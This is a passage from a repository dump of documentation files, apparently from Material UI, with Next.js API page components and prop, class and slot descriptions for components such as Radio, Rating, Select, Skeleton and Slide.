    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"defaultValue\": { \"type\": { \"name\": \"any\" } },\n    \"name\": { \"type\": { \"name\": \"string\" } },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.ChangeEvent<HTMLInputElement>, value: string) => void\",\n        \"describedArgs\": [\"event\", \"value\"]\n      }\n    },\n    \"value\": { \"type\": { \"name\": \"any\" } }\n  },\n  \"name\": \"RadioGroup\",\n  \"imports\": [\n    \"import RadioGroup from '@mui/material/RadioGroup';\",\n    \"import { RadioGroup } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the root element if `error={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiRadioGroup-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"row\",\n      \"className\": \"MuiRadioGroup-row\",\n      \"description\": \"Styles applied to the root element if `row={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiRadioGroup\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/RadioGroup/RadioGroup.js\",\n  \"inheritance\": { \"component\": \"FormGroup\", \"pathname\": \"/material-ui/api/form-group/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-radio-button/\\\">Radio Group</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/radio.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './radio.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/radio', false, /\\.\\/radio.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/radio.json",
    "content": "{\n  \"props\": {\n    \"checked\": { \"type\": { \"name\": \"bool\" } },\n    \"checkedIcon\": { \"type\": { \"name\": \"node\" }, \"default\": \"<RadioButtonIcon checked />\" },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'default'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"disabled\": { \"type\": { \"name\": \"bool\" } },\n    \"disableRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"icon\": { \"type\": { \"name\": \"node\" }, \"default\": \"<RadioButtonIcon />\" },\n    \"id\": { \"type\": { \"name\": \"string\" } },\n    \"name\": { \"type\": { \"name\": \"string\" } },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.ChangeEvent<HTMLInputElement>) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"required\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'medium'<br>&#124;&nbsp;'small'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ input?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ input?: elementType, root?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"value\": { \"type\": { \"name\": \"any\" } }\n  },\n  \"name\": \"Radio\",\n  \"imports\": [\"import Radio from '@mui/material/Radio';\", \"import { Radio } from '@mui/material';\"],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root slot.\",\n      \"default\": \"SwitchBase\",\n      \"class\": \"MuiRadio-root\"\n    },\n    {\n      \"name\": \"input\",\n      \"description\": \"The component that renders the input slot.\",\n      \"default\": \"SwitchBase's input\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"checked\",\n      \"className\": \"Mui-checked\",\n      \"description\": \"State class applied to the root element if `checked={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiRadio-colorPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiRadio-colorSecondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiRadio-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiRadio\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-material/src/Radio/Radio.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-radio-button/\\\">Radio Group</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/rating.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './rating.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/rating', false, /\\.\\/rating.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/rating.json",
    "content": "{\n  \"props\": {\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"defaultValue\": { \"type\": { \"name\": \"number\" }, \"default\": \"null\" },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"emptyIcon\": { \"type\": { \"name\": \"node\" }, \"default\": \"<StarBorder fontSize=\\\"inherit\\\" />\" },\n    \"emptyLabelText\": { \"type\": { \"name\": \"node\" }, \"default\": \"'Empty'\" },\n    \"getLabelText\": {\n      \"type\": { \"name\": \"func\" },\n      \"default\": \"function defaultLabelText(value) {\\n  return `${value || '0'} Star${value !== 1 ? 's' : ''}`;\\n}\",\n      \"signature\": { \"type\": \"function(value: number) => string\", \"describedArgs\": [\"value\"] }\n    },\n    \"highlightSelectedOnly\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"icon\": { \"type\": { \"name\": \"node\" }, \"default\": \"<Star fontSize=\\\"inherit\\\" />\" },\n    \"max\": { \"type\": { \"name\": \"number\" }, \"default\": \"5\" },\n    \"name\": { \"type\": { \"name\": \"string\" } },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent, value: number | null) => void\",\n        \"describedArgs\": [\"event\", \"value\"]\n      }\n    },\n    \"onChangeActive\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent, value: number) => void\",\n        \"describedArgs\": [\"event\", \"value\"]\n      }\n    },\n    \"precision\": { \"type\": { \"name\": \"custom\", \"description\": \"number\" }, \"default\": \"1\" },\n    \"readOnly\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'small'<br>&#124;&nbsp;'medium'<br>&#124;&nbsp;'large'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ decimal?: func<br>&#124;&nbsp;object, icon?: func<br>&#124;&nbsp;object, label?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ decimal?: elementType, icon?: elementType, label?: elementType, root?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"value\": { \"type\": { \"name\": \"number\" } }\n  },\n  \"name\": \"Rating\",\n  \"imports\": [\n    \"import Rating from '@mui/material/Rating';\",\n    \"import { Rating } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component used for the root slot.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiRating-root\"\n    },\n    {\n      \"name\": \"label\",\n      \"description\": \"The component used for the label slot.\",\n      \"default\": \"'label'\",\n      \"class\": \"MuiRating-label\"\n    },\n    {\n      \"name\": \"icon\",\n      \"description\": \"The component used for the icon slot.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiRating-icon\"\n    },\n    {\n      \"name\": \"decimal\",\n      \"description\": \"The component used for the decimal slot.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiRating-decimal\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"focusVisible\",\n      \"className\": \"Mui-focusVisible\",\n      \"description\": \"State class applied to the root element if keyboard focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"iconActive\",\n      \"className\": \"MuiRating-iconActive\",\n      \"description\": \"Styles applied to the icon wrapping elements when active.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"iconEmpty\",\n      \"className\": \"MuiRating-iconEmpty\",\n      \"description\": \"Styles applied to the icon wrapping elements when empty.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"iconFilled\",\n      \"className\": \"MuiRating-iconFilled\",\n      \"description\": \"Styles applied to the icon wrapping elements when filled.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"iconFocus\",\n      \"className\": \"MuiRating-iconFocus\",\n      \"description\": \"Styles applied to the icon wrapping elements when focus.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"iconHover\",\n      \"className\": \"MuiRating-iconHover\",\n      \"description\": \"Styles applied to the icon wrapping elements when hover.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"labelEmptyValueActive\",\n      \"className\": \"MuiRating-labelEmptyValueActive\",\n      \"description\": \"Styles applied to the label of the \\\"no value\\\" input when it is active.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"readOnly\",\n      \"className\": \"Mui-readOnly\",\n      \"description\": \"Styles applied to the root element if `readOnly={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"sizeLarge\",\n      \"className\": \"MuiRating-sizeLarge\",\n      \"description\": \"Styles applied to the root element if `size=\\\"large\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeMedium\",\n      \"className\": \"MuiRating-sizeMedium\",\n      \"description\": \"Styles applied to the root element if `size=\\\"medium\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiRating-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"visuallyHidden\",\n      \"className\": \"MuiRating-visuallyHidden\",\n      \"description\": \"Visually hide an element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiRating\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-material/src/Rating/Rating.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-rating/\\\">Rating</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/scoped-css-baseline.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './scoped-css-baseline.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/scoped-css-baseline',\n    false,\n    /\\.\\/scoped-css-baseline.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/scoped-css-baseline.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"enableColorScheme\": { \"type\": { \"name\": \"bool\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"ScopedCssBaseline\",\n  \"imports\": [\n    \"import ScopedCssBaseline from '@mui/material/ScopedCssBaseline';\",\n    \"import { ScopedCssBaseline } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiScopedCssBaseline-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiScopedCssBaseline\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/ScopedCssBaseline/ScopedCssBaseline.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-css-baseline/\\\">CSS Baseline</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/select.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './select.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/select', false, /\\.\\/select.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/select.json",
    "content": "{\n  \"props\": {\n    \"autoWidth\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": {\n      \"type\": { \"name\": \"object\" },\n      \"default\": \"{}\",\n      \"additionalInfo\": { \"cssApi\": true }\n    },\n    \"defaultOpen\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"defaultValue\": { \"type\": { \"name\": \"any\" } },\n    \"displayEmpty\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"IconComponent\": { \"type\": { \"name\": \"elementType\" }, \"default\": \"ArrowDropDownIcon\" },\n    \"id\": { \"type\": { \"name\": \"string\" } },\n    \"input\": { \"type\": { \"name\": \"element\" } },\n    \"inputProps\": { \"type\": { \"name\": \"object\" } },\n    \"label\": { \"type\": { \"name\": \"node\" } },\n    \"labelId\": { \"type\": { \"name\": \"string\" } },\n    \"MenuProps\": { \"type\": { \"name\": \"object\" } },\n    \"multiple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"native\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: SelectChangeEvent<Value>, child?: object) => void\",\n        \"describedArgs\": [\"event\", \"child\"]\n      }\n    },\n    \"onClose\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": { \"type\": \"function(event: object) => void\", \"describedArgs\": [\"event\"] }\n    },\n    \"onOpen\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": { \"type\": \"function(event: object) => void\", \"describedArgs\": [\"event\"] }\n    },\n    \"open\": { \"type\": { \"name\": \"bool\" } },\n    \"renderValue\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": { \"type\": \"function(value: any) => ReactNode\", \"describedArgs\": [\"value\"] }\n    },\n    \"SelectDisplayProps\": { \"type\": { \"name\": \"object\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"value\": { \"type\": { \"name\": \"union\", \"description\": \"''<br>&#124;&nbsp;any\" } },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'filled'<br>&#124;&nbsp;'outlined'<br>&#124;&nbsp;'standard'\"\n      },\n      \"default\": \"'outlined'\"\n    }\n  },\n  \"name\": \"Select\",\n  \"imports\": [\n    \"import Select from '@mui/material/Select';\",\n    \"import { Select } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the select component `disabled` class.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the root element if `error={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"filled\",\n      \"className\": \"MuiSelect-filled\",\n      \"description\": \"Styles applied to the select component if `variant=\\\"filled\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"focused\",\n      \"className\": \"Mui-focused\",\n      \"description\": \"Styles applied to the select component if it is focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"icon\",\n      \"className\": \"MuiSelect-icon\",\n      \"description\": \"Styles applied to the icon component.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"iconOpen\",\n      \"className\": \"MuiSelect-iconOpen\",\n      \"description\": \"Styles applied to the icon component if the popup is open.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"multiple\",\n      \"className\": \"MuiSelect-multiple\",\n      \"description\": \"Styles applied to the select component if `multiple={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"nativeInput\",\n      \"className\": \"MuiSelect-nativeInput\",\n      \"description\": \"Styles applied to the underlying native input component.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlined\",\n      \"className\": \"MuiSelect-outlined\",\n      \"description\": \"Styles applied to the select component if `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiSelect-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"select\",\n      \"className\": \"MuiSelect-select\",\n      \"description\": \"Styles applied to the select component `select` class.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"standard\",\n      \"className\": \"MuiSelect-standard\",\n      \"description\": \"Styles applied to the select component if `variant=\\\"standard\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiSelect\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Select/Select.js\",\n  \"inheritance\": { \"component\": \"OutlinedInput\", \"pathname\": \"/material-ui/api/outlined-input/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-select/\\\">Select</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/skeleton.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './skeleton.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/skeleton',\n    false,\n    /\\.\\/skeleton.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/skeleton.json",
    "content": "{\n  \"props\": {\n    \"animation\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'pulse'<br>&#124;&nbsp;'wave'<br>&#124;&nbsp;false\"\n      },\n      \"default\": \"'pulse'\"\n    },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"height\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'circular'<br>&#124;&nbsp;'rectangular'<br>&#124;&nbsp;'rounded'<br>&#124;&nbsp;'text'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'text'\"\n    },\n    \"width\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } }\n  },\n  \"name\": \"Skeleton\",\n  \"imports\": [\n    \"import Skeleton from '@mui/material/Skeleton';\",\n    \"import { Skeleton } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"circular\",\n      \"className\": \"MuiSkeleton-circular\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"circular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fitContent\",\n      \"className\": \"MuiSkeleton-fitContent\",\n      \"description\": \"Styles applied when the component is passed children and no width.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"heightAuto\",\n      \"className\": \"MuiSkeleton-heightAuto\",\n      \"description\": \"Styles applied when the component is passed children and no height.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"pulse\",\n      \"className\": \"MuiSkeleton-pulse\",\n      \"description\": \"Styles applied to the root element if `animation=\\\"pulse\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"rectangular\",\n      \"className\": \"MuiSkeleton-rectangular\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"rectangular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiSkeleton-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"rounded\",\n      \"className\": \"MuiSkeleton-rounded\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"rounded\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"text\",\n      \"className\": \"MuiSkeleton-text\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"text\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"wave\",\n      \"className\": \"MuiSkeleton-wave\",\n      \"description\": \"Styles applied to the root element if `animation=\\\"wave\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"withChildren\",\n      \"className\": \"MuiSkeleton-withChildren\",\n      \"description\": \"Styles applied when the component is passed children.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiSkeleton\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-material/src/Skeleton/Skeleton.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-skeleton/\\\">Skeleton</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/slide.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './slide.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/slide', false, /\\.\\/slide.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/slide.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"custom\", \"description\": \"element\" }, \"required\": true },\n    \"addEndListener\": { \"type\": { \"name\": \"func\" } },\n    \"appear\": { \"type\": { \"name\": \"bool\" }, \"default\": \"true\" },\n    \"container\": {\n      \"type\": { \"name\": \"custom\", \"description\": \"HTML element<br>&#124;&nbsp;func\" }\n    },\n    \"direction\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'down'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right'<br>&#124;&nbsp;'up'\"\n      },\n      \"default\": \"'down'\"\n    },\n    \"easing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"{ enter?: string, exit?: string }<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"{\\n  enter: theme.transitions.easing.easeOut,\\n  exit: theme.transitions.easing.sharp,\\n}\"\n    },\n    \"in\": { \"type\": { \"name\": \"bool\" } },\n    \"timeout\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      },\n      \"default\": \"{\\n  enter: theme.transitions.duration.enteringScreen,\\n  exit: theme.transitions.duration.leavingScreen,\\n}\"\n    }\n  },\n  \"name\": \"Slide\",\n  \"imports\": [\"import Slide from '@mui/material/Slide';\", \"import { Slide } from '@mui/material';\"],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiSlide\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Slide/Slide.js\",\n  \"inheritance\": {\n    \"component\": \"Transition\",\n    \"pathname\": \"https://reactcommunity.org/react-transition-group/transition/#Transition-props\"\n  },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-dialog/\\\">Dialog</a></li>\\n<li><a href=\\\"/material-ui/transitions/\\\">Transitions</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/slider.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './slider.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/slider', false, /\\.\\/slider.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/slider.json",
